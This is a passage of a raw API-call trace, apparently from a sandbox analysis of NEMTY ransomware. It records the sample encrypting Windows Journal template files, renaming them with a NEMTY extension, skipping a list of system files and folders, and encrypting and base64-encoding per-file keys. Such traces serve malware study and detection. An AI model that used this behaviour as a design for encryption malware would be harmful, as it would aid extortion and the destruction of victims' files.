WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.023] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.107] CloseHandle (hObject=0xffffffff) returned 0 [0102.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0102.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0102.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340240 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp._nemty_kgobjgd_")) returned 0 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0102.107] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2=".") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="..") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="...") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="windows") returned -1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="$RECYCLE.BIN") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="rsa") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="NTDETECT.COM") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="ntldr") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="MSDOS.SYS") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="IO.SYS") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="boot.ini") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="boot.ini") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="ntuser.dat") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="desktop.ini") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="CONFIG.SYS") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="RECYCLER") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="BOOTSECT.BAK") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="bootmgr") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="programdata") returned 1 [0102.108] lstrcmpiW (lpString1="To_Do_List.jtp", lpString2="appdata") returned 1 [0102.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="To_Do_List.jtp", lpUsedDefaultChar=0x0) returned 14 [0102.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="To_Do_List.jtp", lpUsedDefaultChar=0x0) returned 14 [0102.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="To_Do_List.jtp", lpUsedDefaultChar=0x0) returned 14 [0102.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="To_Do_List.jtp", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="To_Do_List.jtp", lpUsedDefaultChar=0x0) returned 14 [0102.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0102.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0102.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0102.109] Sleep (dwMilliseconds=0x5) [0102.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0832d70, dwHighDateTime=0x1d561e7)) [0102.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0832d70, dwHighDateTime=0x1d561e7)) [0102.115] GetLastError () returned 0x5 [0102.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.115] GetLastError () returned 0x5 [0102.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.116] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.116] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.116] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0102.116] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="sbZOoeExyK/PJkQrMf14gqzVjrQ6bW0Hj+vbtffU6OOVHbj3foZ+jrz1BxjUoxqF\r\nU5EcnaPnb5O2aZxtG9NScJ4ImdNlPEXTeRDEOOMJEnDj8LF0ewpifB47umCDX7U8\r\nr7Zb8BQWs7RxNLJotXx1ZX35txG3j/PqKrNJ4Z75+cUtVE49kzgCLdz1Vpi4qiIY\r\nP9oNVlPYYAsymW7C0GKdCt+KFldVN+Z1eEjffDMOkrsa/hvImsgdgbwIwpzhf/8z\r\nHpe8HsnVCWJlGF8fbmaNgCxwA8whjOOz/X/+Z56VzlXIx0OHK51QF4Ivz6bd7ah1\r\nQA95lsTTl0XUKk0Wsiohdw==\r\n", pcchString=0x653ef9c) returned 1 [0102.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0102.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0102.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.116] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.123] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 